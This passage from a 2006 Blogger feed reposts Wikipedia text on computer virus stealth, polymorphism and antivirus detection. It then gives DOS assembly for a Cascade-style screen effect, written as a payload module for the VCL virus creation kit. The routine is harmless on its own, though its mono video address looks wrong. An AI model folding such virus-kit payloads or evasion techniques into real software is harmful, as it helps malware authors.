of the file to the anti-virus software, so that it seems that the file is "clean". Modern anti-virus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=12" title="Edit section: Self-modification"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Self-modification" id="Self-modification"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Self-modification&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called &lt;i&gt;virus signatures&lt;/i&gt;. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) "clean" or "heal" the infected file. Some viruses employ techniques that make detection by means of signatures difficult or impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=13" title="Edit section: Simple self-modifications"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Simple_self-modifications" id="Simple_self-modifications"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Simple self-modifications&lt;/h4&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;In the past, some viruses &lt;a href="http://en.wikipedia.org/wiki/Self-modifying_code" title="Self-modifying code"&gt;modified themselves&lt;/a&gt; only in fairly simple ways. For example, they regularly exchanged subroutines in their code for others that would perform the same action - for example, 2+2 could be swapped for 1+3. This poses no problems to a somewhat advanced virus scanner.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=14" title="Edit section: Encryption with a variable key"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Encryption_with_a_variable_key" id="Encryption_with_a_variable_key"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Encryption with a variable key&lt;/h4&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A more advanced method is the use of simple &lt;a href="http://en.wikipedia.org/wiki/Encryption" title="Encryption"&gt;encryption&lt;/a&gt; to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module, which would (for example) be appended to the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Mostly, the decryption techniques that these viruses employ are fairly simple and mostly done by just &lt;a href="http://en.wikipedia.org/wiki/Xor" title="Xor"&gt;xoring&lt;/a&gt; each byte with a randomized key that was saved by the parent virus. The use of XOR-operations has the additional advantage that the encryption and decryption routine are the same (a xor b = c, c xor b = a.)&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=15" title="Edit section: Polymorphic code"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Polymorphic_code" id="Polymorphic_code"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Polymorphic code&lt;/h4&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a href="http://en.wikipedia.org/wiki/Polymorphic_code" title="Polymorphic code"&gt;Polymorphic code&lt;/a&gt; was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts that stay the same on each infection, making it impossible to detect directly using signatures. Anti-virus software can detect it by decrypting the viruses using an emulator, or by statistical &lt;a href="http://en.wikipedia.org/w/index.php?title=Pattern_analysis&amp;action=edit" class="new" title="Pattern analysis"&gt;pattern analysis&lt;/a&gt; of the encrypted virus body. To enable polymorphic code, the virus has to have a &lt;a href="http://en.wikipedia.org/wiki/Polymorphic_engine" title="Polymorphic engine"&gt;polymorphic engine&lt;/a&gt; (also called &lt;i&gt;mutating engine&lt;/i&gt; or &lt;i&gt;mutation engine&lt;/i&gt;) somewhere in its encrypted body. See &lt;a href="http://en.wikipedia.org/wiki/Polymorphic_code" title="Polymorphic code"&gt;Polymorphic code&lt;/a&gt; for technical detail on how such engines operate.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Some viruses employ polymorphic code in a way which constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such &lt;i&gt;slow polymorphic&lt;/i&gt; code is that it makes it more difficult for anti-virus professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that, as a result of this, some instances of the virus may be able to avoid detection.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=16" title="Edit section: Metamorphic code"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Metamorphic_code" id="Metamorphic_code"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h4 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Metamorphic code&lt;/h4&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that use this technique are said to be &lt;a href="http://en.wikipedia.org/wiki/Metamorphic_code" title="Metamorphic code"&gt;metamorphic&lt;/a&gt;. To enable metamorphism, a metamorphic engine is needed. A metamorphic virus is usually very large and complex. For example, &lt;a href="http://en.wikipedia.org/wiki/W32/Simile" title="W32/Simile"&gt;W32/Simile&lt;/a&gt; consisted of over 14000 lines of &lt;a href="http://en.wikipedia.org/wiki/Assembly_language" title="Assembly language"&gt;Assembly language&lt;/a&gt; code, 90% of it part of the metamorphic engine.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=17" title="Edit section: Viruses and legitimate software"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Viruses_and_legitimate_software" id="Viruses_and_legitimate_software"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Viruses and legitimate software&lt;/h2&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=18" title="Edit section: The vulnerability of operating systems to viruses"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="The_vulnerability_of_operating_systems_to_viruses" id="The_vulnerability_of_operating_systems_to_viruses"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;The vulnerability of operating systems to viruses&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Another analogy to biological viruses: just as &lt;a href="http://en.wikipedia.org/wiki/Genetic_diversity" title="Genetic diversity"&gt;genetic diversity&lt;/a&gt; in a population decreases the chance of a single disease wiping out a population, the diversity of software systems on a network similarly limits the destructive potential of viruses.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;This became a particular concern in the 1990s, when &lt;a href="http://en.wikipedia.org/wiki/Microsoft" title="Microsoft"&gt;Microsoft&lt;/a&gt; gained market dominance in desktop operating systems and &lt;a href="http://en.wikipedia.org/wiki/Office_suite" title="Office suite"&gt;office suites&lt;/a&gt;. Users who use Microsoft software (especially networking software such as &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Outlook" title="Microsoft Outlook"&gt;Microsoft Outlook&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Internet_Explorer" title="Internet Explorer"&gt;Internet Explorer&lt;/a&gt;) are especially vulnerable to the spread of viruses. Microsoft software is targeted by virus writers due to their desktop dominance, and is often criticized for including many errors and holes for virus writers to exploit. Integrated applications, applications with scripting languages with access to the file system (for example &lt;a href="http://en.wikipedia.org/wiki/Visual_Basic_Script" title="Visual Basic Script"&gt;Visual Basic Script&lt;/a&gt; (VBS), and applications with networking features) are also particularly vulnerable.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Although Windows is by far the most popular operating system for virus writers, some viruses also exist on other platforms. Any operating system that allows third-party programs to run can theoretically run viruses. Some operating systems are less secure than others. Unix-based OSes (and NTFS-aware applications on Windows NT based platforms) only allow their users to run executables within their protected space in their own directories.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;As of 2006, there are relatively few security exploits &lt;sup id="_ref-4" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-4" title=""&gt;[5]&lt;/a&gt;&lt;/sup&gt; targeting &lt;a href="http://en.wikipedia.org/wiki/Mac_OS_X" title="Mac OS X"&gt;Mac OS X&lt;/a&gt; (a Unix-based operating system); the known vulnerabilities fall under the classifications of &lt;a href="http://en.wikipedia.org/wiki/Computer_worm" title="Computer worm"&gt;worms&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29" title="Trojan horse (computing)"&gt;trojans&lt;/a&gt;. The number of viruses for the older Apple operating systems, known as Mac OS Classic, varies greatly from source to source, with Apple stating that there are only four known viruses, and independent sources stating there are as many as 63 viruses. However, Mac users are advised to install anti-virus software, because they can accidentally pass on a file which is infected with a Windows virus or trojan. While this malware does not affect the Mac, it can infect a Windows PC. It is safe to say that Macs are less likely to be exploited due to its secure Unix base. Virus vulnerability between Macs and Windows was/is a chief catalyst of the &lt;a href="http://en.wikipedia.org/w/index.php?title=Platform_wars&amp;action=edit" class="new" title="Platform wars"&gt;platform wars&lt;/a&gt; between Apple Computers and Microsoft.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Windows and Unix have similar scripting abilities, but while Unix natively blocks normal users from having access to make changes to the operating system environment, Windows does not. In 1997, when a virus for Linux was released – known as "&lt;a href="http://en.wikipedia.org/wiki/Bliss_%28virus%29" title="Bliss (virus)"&gt;Bliss&lt;/a&gt;" – leading antivirus vendors issued warnings that &lt;a href="http://en.wikipedia.org/wiki/Unix-like" title="Unix-like"&gt;Unix-like&lt;/a&gt; systems could fall prey to viruses just like Windows.&lt;sup id="_ref-5" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-5" title=""&gt;[6]&lt;/a&gt;&lt;/sup&gt; The Bliss virus may be considered characteristic of viruses – as opposed to worms – on Unix systems. Bliss requires that the user run it explicitly, and it can only infect programs that the user has the access to modify. Unlike Windows users, most Unix users do not log in as the administrator user except to install or configure software; as a result, even if a user ran the virus, it could not harm their operating system. The Bliss virus never became widespread, and remains chiefly a research curiosity. Its creator later posted the source code to Usenet, allowing researchers to see how it worked.&lt;sup id="_ref-6" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-6" title=""&gt;[7]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=19" title="Edit section: The role of software development"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="The_role_of_software_development" id="The_role_of_software_development"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;The role of software development&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Because software is often designed with security features to prevent unauthorized use of system resources, many viruses must exploit &lt;a href="http://en.wikipedia.org/wiki/Software_bug" title="Software bug"&gt;software bugs&lt;/a&gt; in a system or application to spread. Software development strategies which produce large numbers of bugs will generally also produce potential exploits.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Closed-source software development, as practiced by Microsoft and other &lt;a href="http://en.wikipedia.org/wiki/Proprietary_software" title="Proprietary software"&gt;proprietary software&lt;/a&gt; companies, is seen by many as a security weakness. &lt;a href="http://en.wikipedia.org/wiki/Open_source" title="Open source"&gt;Open source&lt;/a&gt; software such as Linux, for example, allows all users to look for and fix security problems without relying on a single vendor. Some advocate that proprietary software makers practice &lt;a href="http://en.wikipedia.org/wiki/Vulnerability_disclosure" title="Vulnerability disclosure"&gt;vulnerability disclosure&lt;/a&gt; to improve this weakness.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;On the other hand, some claim that open source development exposes potential security problems to virus writers, hence increases in the prevalence of exploits. They counter claims that popular closed source systems such as &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows"&gt;Windows&lt;/a&gt; are often exploited by claiming that these systems are only commonly exploited due to their popularity and the potential widespread effect such an exploit will have.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=20" title="Edit section: Anti-virus software and other countermeasures"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Anti-virus_software_and_other_countermeasures" id="Anti-virus_software_and_other_countermeasures"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Anti-virus software and other countermeasures&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;There are two common methods which an &lt;a href="http://en.wikipedia.org/wiki/Anti-virus_software" title="Anti-virus software"&gt;anti-virus software&lt;/a&gt; application uses to detect viruses. The first method is to use a heuristic algorithm (&lt;a href="http://en.wikipedia.org/wiki/Heuristic_%28computer_science%29" title="Heuristic (computer science)"&gt;Heuristic (computer science)&lt;/a&gt;) to find viruses based on common behaviors. This method has the potential abilitiy to detect viruses which may not be discovered by anti-virus security firms. The second and most common method of virus detection is to create a list of virus signature definitions. The disadvantage of this detection method is that users are only protected up until their last virus definition update. Many users install &lt;a href="http://en.wikipedia.org/wiki/Anti-virus_software" title="Anti-virus software"&gt;anti-virus software&lt;/a&gt; that can detect and eliminate known viruses after the computer &lt;a href="http://en.wikipedia.org/wiki/Downloading" title="Downloading"&gt;downloads&lt;/a&gt; or runs the executable. They work by examining the content heuristics of the computer's memory (its &lt;a href="http://en.wikipedia.org/wiki/Random_Access_Memory" title="Random Access Memory"&gt;RAM&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/Boot_sector" title="Boot sector"&gt;boot sectors&lt;/a&gt;) and the files stored on fixed or removable drives (hard drives, floppy drives), and comparing those files against a &lt;a href="http://en.wikipedia.org/wiki/Database" title="Database"&gt;database&lt;/a&gt; of known virus "signatures". Some anti-virus programs are able to scan opened files in addition to sent and received emails 'on the fly' in a similar manner. This practice is known as "on-access scanning." Anti-virus software does not change the underlying capability of host software to transmit viruses. There have been attempts to do this but adoption of such anti-virus solutions can void the warranty for the host software. Users must therefore update their software regularly to &lt;a href="http://en.wikipedia.org/wiki/Patch_%28computing%29" title="Patch (computing)"&gt;patch&lt;/a&gt; security holes. Anti-virus software also needs to be regularly updated in order to gain knowledge about the latest threats and hoaxes and disterbance.&lt;/p&gt;&lt;span style="font-family: times new roman; color: rgb(102, 51, 255);"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856873871398228?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856873871398228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856873871398228&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856873871398228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856873871398228'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/about-virus-from-wiki-pedia.html' title='about virus from wiki pedia'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856780884681696</id><published>2006-09-18T15:18:00.000+07:00</published><updated>2006-09-18T15:23:29.026+07:00</updated><title type='text'>dropsy source code</title><content type='html'>&lt;span style="font-family: times new roman;"&gt;;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;VCL recommended switches.  When screen is thoroughly dropsie'd, that is all&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;letters have fallen to a single line across the bottom of the monitor,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;the routine will exit to DOS and restore the command prompt. I excerpted&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;quite a bit of this from some public domain video routines optimized for&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;the accursed a86 assembler and reworked the whole magilla until TASM&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;wouldn't choke when swallowing the source. It attempts to meet &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;minimum requirements for VCL formatting. Heck, this is a nice routine&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;to have at your fingertips; you gotta admit a CASCADE-virus-like effect &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;is always something people wanna see. And it's commented up the &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;kazoo, one of the features I like best about VCL code. Hope you find&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;it useful. -URNST KOUCH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;code           segment byte public&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               assume  cs:code,ds:code,es:code,ss:code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               org     0100h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               jmp  Start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;main           proc near&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Row            dw   24             ;Rows to do initially&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;First, get current video mode and page.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Start:         mov  cx,0B800h      ;color display, color video mem for page 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  ah,15          ;Get current video mode&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               int  10h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               cmp  al,2           ;Color?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               je   A2             ;Yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               cmp  al,3           ;Color?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               je   A2             ;Yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               cmp  al,7           ;Mono?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               je   A1             ;Yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               int  20h            ;No,quit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;here if 80 col text mode; put video segment in ds.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A1:            mov  cx,0A300h      ;Set for mono; mono videomem for page 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A2:            mov  bl,0           ;bx=page offset&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               add  cx,bx          ;Video segment&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  ds,cx          ;in ds&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;start dropsy effect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               xor  bx,bx          ;Start at top left corner&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A3:            push bx             ;Save row start on stack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  bp,80          ;Reset column counter&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;Do next column in a row.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A4:            mov  si,bx          ;Set row top in si&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  ax,[si]        ;Get char &amp; attr from screen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               cmp  al,20h         ;Is it a blank?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               je   A7             ;Yes, skip it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  dx,ax          ;No, save it in dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  al,20h         ;Make it a space&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  [si],ax        ;and put on screen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               add  si,160         ;Set for next row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  di,cs:Row      ;Get rows remaining&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A5:            mov  ax,[si]        ;Get the char &amp; attr from screen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  [si],dx        ;Put top row char &amp; attr there&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A6:            call Vert           ;Wait for 2 vert retraces&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;               mov  [si],ax        ;Put original char &amp; attr back&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;Do next row, this column.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              add  si,160          ;Next row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              dec  di              ;Done all rows remaining?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              jne  A5              ;No, do next one&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              mov  [si-160],dx     ;Put char &amp; attr on line 25 as junk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;Do next column on this row.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A7:           add  bx,2            ;Next column, same row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              dec  bp              ;Dec column counter; done?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              jne  A4              ;No, do this column&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;;Do next row.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A8:           pop  bx              ;Get current row start&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              add  bx,160          ;Next row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              dec  cs:Row          ;All rows done?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              jne  A3              ;No&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;A9:           mov  ax,4C00h  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              int  21h             ;Yes, quit to DOS with error code&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;                                   ;routine to deal with snow on CGA screen.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Vert:         push ax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              push dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              push cx              ;Save all registers used&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              mov  cl,2            ;Wait for 2 vert retraces&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              mov  dx,3DAh         ;CRT status port&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;F1:           in   al,dx           ;Read status&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              test al,8            ;Vert retrace went hi?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              je   F1              ;No, wait for it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              dec  cl              ;2nd one?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              je   F3              ;Yes, write during blanking time&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;F2:           in   al,dx           ;No, get status&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              test al,8            ;Vert retrace went low?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              jne  F2              ;No, wait for it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              jmp  F1              ;Yes, wait for next hi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;F3:           pop  cx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              pop  dx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              pop  ax              ;Restore registers&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              ret                  ;and return&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              main   endp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              code   ends&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;              end    main&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856780884681696?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856780884681696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856780884681696&amp;isPopup=true' title='0 Comments'/><link rel='edit' 